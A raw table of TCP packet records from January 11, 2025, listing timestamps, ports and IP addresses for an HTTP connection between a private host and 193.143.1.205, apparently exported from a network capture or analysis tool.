Jan 11, 2025 06:37:11.479403019 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.479665995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.479677916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.479717016 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.484563112 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.484576941 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.484616995 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.485364914 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.485378027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.485416889 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.490214109 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.490227938 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.490271091 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.490681887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.490694046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.490705013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.491065025 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.494968891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.494982004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.495023012 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.495475054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.495487928 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.495516062 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.499665022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.499679089 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.499706984 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.500263929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.500277042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.500288010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.500299931 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.500323057 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.504451990 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.504466057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.504508018 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.504966974 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.504978895 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.505017996 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.509145021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.509157896 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.509203911 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.509661913 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.509674072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.509757042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.513906002 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.513921022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.513931990 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.513956070 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.514408112 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.514421940 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.514456987 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.518732071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.518748999 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.518804073 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.519140005 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.519153118 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.519182920 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.523541927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.523559093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.523570061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.523611069 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.523643017 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.523822069 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.523835897 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.523874044 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.528294086 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.528312922 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.528362036 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.528549910 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.528563976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.528599977 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.533129930 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.533148050 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.533205032 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.533262014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.533274889 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.533286095 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.533308983 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.537821054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.537836075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.537863970 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.537992954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.538006067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.538028002 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.542522907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.542536974 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.542581081 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.542727947 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.542741060 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.542752028 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.542769909 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.542793036 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.547297955 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.547327042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.547385931 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.547406912 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.547420025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.547451019 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.552023888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.552037954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.552083969 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.552088976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.552103043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.552140951 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.556894064 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.556912899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.556926012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.556938887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.556951046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.556969881 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.557009935 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.561647892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.561665058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.561683893 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.561697006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.561706066 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.561736107 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.566436052 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.566495895 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.566495895 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.566534042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.566570044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.566585064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.566606045 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.566658020 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.572046041 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.572087049 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.572122097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.572151899 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.572159052 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.572206020 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.577389956 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.577620983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.577676058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.577713966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.577728987 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.577749968 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.577784061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.577805042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.582432985 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.582489014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.582494020 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.582530022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.582566023 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.582583904 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.587299109 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587352991 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587357044 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.587388992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587424040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587439060 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.587459087 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587495089 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587505102 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.587529898 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587564945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587573051 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.587599993 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587635040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587645054 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.587685108 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587721109 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.587729931 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.589030027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.589066029 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.589085102 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.591851950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.591907024 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.591909885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.594660997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.594696999 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.594712019 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.596790075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.596827030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.596837044 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.598922014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.598975897 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.599039078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.600944042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.600994110 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.601001024 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.602968931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.603003979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.603023052 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.604985952 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.605021954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.605042934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.607031107 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.607069969 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.607085943 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.609014034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.609071016 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.609071016 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.611036062 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.611092091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.611093998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.613020897 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.613055944 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.613074064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.615041018 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.615096092 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.615097046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.617151022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.617196083 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.617217064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.619134903 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.619169950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.619194984 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.621109009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.621144056 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.621189117 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.623109102 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.623145103 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.623164892 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.625271082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.625305891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.625332117 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.627099037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.627156019 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.627270937 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.629199982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.629236937 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.629260063 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.630795002 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.630831003 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.630855083 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.632359028 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.632414103 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.632415056 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.633979082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.634013891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.634038925 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.635607958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.635643959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.635664940 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.637010098 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.637032986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.637067080 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.638485909 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.638506889 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.638555050 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.640054941 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.640068054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.640106916 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.641463995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.641485929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.641518116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.642935038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.642946959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.643004894 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.644345999 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.644367933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.644401073 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.645834923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.645848036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.645885944 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.647223949 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.647243977 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.647274971 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.648788929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.648801088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.648834944 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.649807930 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.649821043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.649857998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.651019096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.651040077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.651072025 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.652164936 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.652184963 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.652215004 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.653409004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.653455973 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.653459072 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.654627085 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.654649973 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.654680967 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.655735016 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.655754089 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.655787945 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.656912088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.656961918 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.656965017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.658127069 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.658143997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.658180952 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.659221888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.659239054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.659271002 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.660309076 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.660352945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.660356998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.661425114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.661436081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.661475897 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.662390947 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.662441015 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.662445068 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.663352013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.663372993 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.663402081 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.664335012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.664383888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.664397001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.665354967 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.665374994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.665400028 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.666340113 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.666361094 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.666399956 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.667293072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.667304993 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.667349100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.668215990 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.668235064 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.668267012 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.669099092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.669117928 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.669154882 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.670021057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.670063972 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.670072079 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.670933962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.670952082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.670986891 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.671821117 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.671832085 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.671868086 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.672668934 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.672687054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.672717094 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.673537970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.673557043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.673580885 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.674312115 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.674329042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.674359083 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.675154924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.675173044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:37:11.675208092 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:37:11.675931931 CET	80	49731	193.143.1.205	192.168.2.4
